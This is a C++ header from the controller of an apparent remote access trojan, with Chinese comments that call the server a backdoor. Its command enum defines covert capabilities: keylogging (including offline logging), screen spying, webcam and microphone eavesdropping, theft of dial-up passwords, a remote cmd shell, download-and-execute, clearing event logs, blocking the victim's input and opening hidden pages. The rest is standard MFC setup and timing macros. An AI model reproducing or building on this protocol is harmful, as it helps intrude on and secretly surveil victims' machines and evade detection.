252 lines
7.8 KiB
C++
252 lines
7.8 KiB
C++
|
||
// stdafx.h : 标准系统包含文件的包含文件,
|
||
// 或是经常使用但不常更改的
|
||
// 特定于项目的包含文件
|
||
|
||
#pragma once
|
||
|
||
// 是否使用ZLIB
|
||
#define USING_ZLIB 1
|
||
|
||
#if !USING_ZLIB
|
||
// 是否使用LZ4
|
||
#define USING_LZ4 1
|
||
#endif
|
||
|
||
#ifndef _SECURE_ATL
|
||
#define _SECURE_ATL 1
|
||
#endif
|
||
|
||
#ifndef VC_EXTRALEAN
|
||
#define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料
|
||
#endif
|
||
|
||
// 移除对话框中MFC控件的支持,减小静态编译程序的大小
|
||
#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS
|
||
|
||
// 关闭对话框时删除对话框
|
||
#define CLOSE_DELETE_DLG 0
|
||
|
||
// 检测内存泄漏,需安装VLD;否则请注释此行
|
||
#include "vld.h"
|
||
|
||
#include "targetver.h"
|
||
|
||
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的
|
||
|
||
// 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏
|
||
#define _AFX_ALL_WARNINGS
|
||
|
||
#include <afxwin.h> // MFC 核心组件和标准组件
|
||
#include <afxext.h> // MFC 扩展
|
||
|
||
#include <afxdisp.h> // MFC 自动化类
|
||
|
||
#ifndef _AFX_NO_OLE_SUPPORT
|
||
#include <afxdtctl.h> // MFC 对 Internet Explorer 4 公共控件的支持
|
||
#endif
|
||
#ifndef _AFX_NO_AFXCMN_SUPPORT
|
||
#include <afxcmn.h> // MFC 对 Windows 公共控件的支持
|
||
#endif // _AFX_NO_AFXCMN_SUPPORT
|
||
|
||
#include <afxcontrolbars.h> // 功能区和控件条的 MFC 支持
|
||
|
||
enum
|
||
{
|
||
// 文件传输方式
|
||
TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消
|
||
TRANSFER_MODE_ADDITION, // 追加
|
||
TRANSFER_MODE_ADDITION_ALL, // 全部追加
|
||
TRANSFER_MODE_OVERWRITE, // 覆盖
|
||
TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖
|
||
TRANSFER_MODE_JUMP, // 覆盖
|
||
TRANSFER_MODE_JUMP_ALL, // 全部覆盖
|
||
TRANSFER_MODE_CANCEL, // 取消传送
|
||
|
||
// 控制端发出的命令
|
||
COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作
|
||
COMMAND_LIST_DRIVE, // 列出磁盘目录
|
||
COMMAND_LIST_FILES, // 列出目录中的文件
|
||
COMMAND_DOWN_FILES, // 下载文件
|
||
COMMAND_FILE_SIZE, // 上传时的文件大小
|
||
COMMAND_FILE_DATA, // 上传时的文件数据
|
||
COMMAND_EXCEPTION, // 传输发生异常,需要重新传输
|
||
COMMAND_CONTINUE, // 传输正常,请求继续发送数据
|
||
COMMAND_STOP, // 传输中止
|
||
COMMAND_DELETE_FILE, // 删除文件
|
||
COMMAND_DELETE_DIRECTORY, // 删除目录
|
||
COMMAND_SET_TRANSFER_MODE, // 设置传输方式
|
||
COMMAND_CREATE_FOLDER, // 创建文件夹
|
||
COMMAND_RENAME_FILE, // 文件或文件改名
|
||
COMMAND_OPEN_FILE_SHOW, // 显示打开文件
|
||
COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件
|
||
|
||
COMMAND_SCREEN_SPY, // 屏幕查看
|
||
COMMAND_SCREEN_RESET, // 改变屏幕深度
|
||
COMMAND_ALGORITHM_RESET, // 改变算法
|
||
COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
|
||
COMMAND_SCREEN_CONTROL, // 屏幕控制
|
||
COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
|
||
COMMAND_SCREEN_BLANK, // 服务端黑屏
|
||
COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层
|
||
COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版
|
||
COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版
|
||
|
||
COMMAND_WEBCAM, // 摄像头
|
||
COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩
|
||
COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式
|
||
COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率,后面跟两个INT型的宽高
|
||
COMMAND_NEXT, // 下一步(控制端已经打开对话框)
|
||
|
||
COMMAND_KEYBOARD, // 键盘记录
|
||
COMMAND_KEYBOARD_OFFLINE, // 开启离线键盘记录
|
||
COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容
|
||
|
||
COMMAND_AUDIO, // 语音监听
|
||
|
||
COMMAND_SYSTEM, // 系统管理(进程,窗口....)
|
||
COMMAND_PSLIST, // 进程列表
|
||
COMMAND_WSLIST, // 窗口列表
|
||
COMMAND_DIALUPASS, // 拨号密码
|
||
COMMAND_KILLPROCESS, // 关闭进程
|
||
COMMAND_SHELL, // cmdshell
|
||
COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载)
|
||
COMMAND_REMOVE, // 卸载后门
|
||
COMMAND_DOWN_EXEC, // 其它功能 - 下载执行
|
||
COMMAND_UPDATE_SERVER, // 其它功能 - 下载更新
|
||
COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志
|
||
COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页
|
||
COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页
|
||
COMMAND_RENAME_REMARK, // 重命名备注
|
||
COMMAND_REPLAY_HEARTBEAT, // 回复心跳包
|
||
COMMAND_SERVICES, // 服务管理
|
||
COMMAND_REGEDIT,
|
||
COMMAND_TALK, // 即时消息验证
|
||
|
||
// 服务端发出的标识
|
||
TOKEN_AUTH = 100, // 要求验证
|
||
TOKEN_HEARTBEAT, // 心跳包
|
||
TOKEN_LOGIN, // 上线包
|
||
TOKEN_DRIVE_LIST, // 驱动器列表
|
||
TOKEN_FILE_LIST, // 文件列表
|
||
TOKEN_FILE_SIZE, // 文件大小,传输文件时用
|
||
TOKEN_FILE_DATA, // 文件数据
|
||
TOKEN_TRANSFER_FINISH, // 传输完毕
|
||
TOKEN_DELETE_FINISH, // 删除完毕
|
||
TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式
|
||
TOKEN_GET_FILEDATA, // 远程得到本地文件数据
|
||
TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成
|
||
TOKEN_DATA_CONTINUE, // 继续传输数据
|
||
TOKEN_RENAME_FINISH, // 改名操作完成
|
||
TOKEN_EXCEPTION, // 操作发生异常
|
||
|
||
TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO
|
||
TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图
|
||
TOKEN_NEXTSCREEN, // 屏幕查看的下一张图
|
||
TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
|
||
|
||
|
||
TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER
|
||
TOKEN_WEBCAM_DIB, // 摄像头的图像数据
|
||
|
||
TOKEN_AUDIO_START, // 开始语音监听
|
||
TOKEN_AUDIO_DATA, // 语音监听数据
|
||
|
||
TOKEN_KEYBOARD_START, // 键盘记录开始
|
||
TOKEN_KEYBOARD_DATA, // 键盘记录的数据
|
||
|
||
TOKEN_PSLIST, // 进程列表
|
||
TOKEN_WSLIST, // 窗口列表
|
||
TOKEN_DIALUPASS, // 拨号密码
|
||
TOKEN_SHELL_START, // 远程终端开始
|
||
TOKEN_SERVERLIST, // 服务列表
|
||
COMMAND_SERVICELIST, // 刷新服务列表
|
||
COMMAND_SERVICECONFIG, // 服务端发出的标识
|
||
TOKEN_TALK_START, // 即时消息开始
|
||
TOKEN_TALKCMPLT, // 即时消息可重发
|
||
TOKEN_REGEDIT = 200, // 注册表
|
||
COMMAND_REG_FIND, //注册表 管理标识
|
||
TOKEN_REG_KEY,
|
||
TOKEN_REG_PATH,
|
||
COMMAND_BYE
|
||
};
|
||
|
||
|
||
#define WM_USERTOONLINELIST WM_USER + 3000
|
||
#define WM_OPENSCREENSPYDIALOG WM_USER + 3001
|
||
#define WM_OPENFILEMANAGERDIALOG WM_USER + 3002
|
||
#define WM_OPENTALKDIALOG WM_USER+3003
|
||
#define WM_OPENSHELLDIALOG WM_USER+3004
|
||
#define WM_OPENSYSTEMDIALOG WM_USER+3005
|
||
#define WM_OPENAUDIODIALOG WM_USER+3006
|
||
#define WM_OPENSERVICESDIALOG WM_USER+3007
|
||
#define WM_OPENREGISTERDIALOG WM_USER+3008
|
||
#define WM_OPENWEBCAMDIALOG WM_USER+3009
|
||
|
||
#define WM_USEROFFLINEMSG WM_USER+3010
|
||
|
||
enum
|
||
{
|
||
FILEMANAGER_DLG = 1,
|
||
SCREENSPY_DLG,
|
||
VIDEO_DLG,
|
||
AUDIO_DLG,
|
||
KEYBOARD_DLG,
|
||
SYSTEM_DLG,
|
||
SHELL_DLG,
|
||
SERVICES_DLG,
|
||
REGISTER_DLG,
|
||
TALK_DLG,
|
||
MONITOR_DLG
|
||
};
|
||
|
||
|
||
#ifdef _UNICODE
|
||
#if defined _M_IX86
|
||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||
#elif defined _M_X64
|
||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||
#else
|
||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||
#endif
|
||
#endif
|
||
|
||
|
||
#include <assert.h>
|
||
#include <MMSystem.h>
|
||
#pragma comment(lib, "winmm.lib")
|
||
|
||
// 高精度的睡眠函数
|
||
#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
|
||
|
||
// 以步长n毫秒在条件C下等待T秒(n是步长,必须能整除1000)
|
||
#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
|
||
|
||
// 在条件C成立时等待T秒(步长10ms)
|
||
#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
|
||
|
||
// 在条件C成立时等待T秒(步长1ms)
|
||
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
|
||
|
||
// 智能计时器,计算函数的耗时
|
||
class auto_tick
|
||
{
|
||
private:
|
||
const char *func;
|
||
int threshold;
|
||
clock_t tick;
|
||
__inline clock_t now() const { return clock(); }
|
||
|
||
public:
|
||
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
|
||
~auto_tick(){int s(this->time());if(s>threshold)TRACE("[%s]执行时间: [%d]ms.\n", func, s);}
|
||
__inline int time() const { return now() - tick; }
|
||
};
|
||
|
||
#ifdef _DEBUG
|
||
// 智能计算当前函数的耗时,超时会打印
|
||
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
||
#else
|
||
#define AUTO_TICK(thresh)
|
||
#endif
|